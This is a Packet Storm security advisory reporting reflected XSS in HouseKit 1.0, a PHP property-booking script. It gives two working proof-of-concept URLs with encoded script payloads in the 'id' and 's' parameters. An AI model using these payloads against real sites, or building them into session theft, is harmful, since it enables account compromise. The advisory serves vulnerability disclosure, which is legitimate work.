HouseKit 1.0 Cross Site Scripting ≈ Packet Storm

Home^[1] Files^[2] News^[3] &[SERVICES_TAB] Contact^[4] Add New^[5]

Change Mirror^[11] Download^[12]

        ┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││                                     C r a C k E r                                    ┌┘
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘
┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                  [ Vulnerability ]                                   ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:  Author   : CraCkEr                                                                    :
│  Website  : codesler.com                                                               │
│  Vendor   : Codesler - Rohit Chouhan (codester.com)                                    │
│  Software : HouseKit 1.0 - Rent Property Booking PHP Script                            │
│  Vuln Type: Reflected XSS                                                              │
│  Impact   : Manipulate the content of the site                                         │
│                                                                                        │
│────────────────────────────────────────────────────────────────────────────────────────│
│                                                                                       ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:                                                                                        :
│  Release Notes:                                                                        │
│  ═════════════                                                                         │
│  The attacker can send to victim a link containing a malicious URL in an email or      │
│  instant message can perform a wide variety of actions, such as stealing the victim's  │
│  session token or login credentials                                                    │
│                                                                                        │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                                                                      ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
Greets:
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL   
CryptoJob (Twitter) twitter.com/0x0CryptoJob
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                    © CraCkEr 2023                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
Path: /flat_details.php
GET parameter 'id' is vulnerable to RXSS
https://website/flat_details.php?id=22&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Path: /flats.php
GET parameter 's' is vulnerable to RXSS
https://website/flats.php?tab=on&s=Hyderabadi3phy%3cscript%3ealert(1)%3c%2fscript%3ezx0nx
[-] Done

• Follow us on Twitter^[15]
• Follow us on Facebook^[16]
• Subscribe to an RSS Feed^[17]

File Tags

• ActiveX^[18] (932)
• Advisory^[19] (81,008)
• Arbitrary^[20] (15,999)
• BBS^[21] (2,859)
• Bypass^[22] (1,670)
• CGI^[23] (1,024)
• Code Execution^[24] (7,121)
• Conference^[25] (677)
• Cracker^[26] (841)
• CSRF^[27] (3,311)
• DoS^[28] (23,071)
• Encryption^[29] (2,359)
• Exploit^[30] (51,021)
• File Inclusion^[31] (4,192)
• File Upload^[32] (951)
• Firewall^[33] (821)
• Info Disclosure^[34] (2,708)
• Intrusion Detection^[35] (880)
• Java^[36] (2,996)
• JavaScript^[37] (837)
• Kernel^[38] (6,527)
• Local^[39] (14,358)
• Magazine^[40] (586)
• Overflow^[41] (12,584)
• Perl^[42] (1,420)
• PHP^[43] (5,121)
• Proof of Concept^[44] (2,302)
• Protocol^[45] (3,544)
• Python^[46] (1,492)
• Remote^[47] (30,437)
• Root^[48] (3,546)
• Rootkit^[49] (505)
• Ruby^[50] (606)
• Scanner^[51] (1,633)
• Security Tool^[52] (7,839)
• Shell^[53] (3,152)
• Shellcode^[54] (1,211)
• Sniffer^[55] (892)
• Spoof^[56] (2,189)
• SQL Injection^[57] (16,205)
• TCP^[58] (2,391)
• Trojan^[59] (687)
• UDP^[60] (882)
• Virus^[61] (664)
• Vulnerability^[62] (31,501)
• Web^[63] (9,525)
• Whitepaper^[64] (3,741)
• x86^[65] (948)
• XSS^[66] (17,646)
• Other^[67]

File Archives

• May 2023^[68]
• April 2023^[69]
• March 2023^[70]
• February 2023^[71]
• January 2023^[72]
• December 2022^[73]
• November 2022^[74]
• October 2022^[75]
• September 2022^[76]
• August 2022^[77]
• July 2022^[78]
• June 2022^[79]
• Older^[80]

Systems

• AIX^[81] (426)
• Apple^[82] (1,969)
• BSD^[83] (372)
• CentOS^[84] (57)
• Cisco^[85] (1,920)
• Debian^[86] (6,736)
• Fedora^[87] (1,691)
• FreeBSD^[88] (1,244)
• Gentoo^[89] (4,307)
• HPUX^[90] (878)
• iOS^[91] (342)
• iPhone^[92] (108)
• IRIX^[93] (220)
• Juniper^[94] (67)
• Linux^[95] (45,532)
• Mac OS X^[96] (684)
• Mandriva^[97] (3,105)
• NetBSD^[98] (256)
• OpenBSD^[99] (482)
• RedHat^[100] (13,176)
• Slackware^[101] (941)
• Solaris^[102] (1,609)
• SUSE^[103] (1,444)
• Ubuntu^[104] (8,550)
• UNIX^[105] (9,225)
• UnixWare^[106] (185)
• Windows^[107] (6,552)
• Other^[108]

© 2022 Packet Storm. All rights reserved.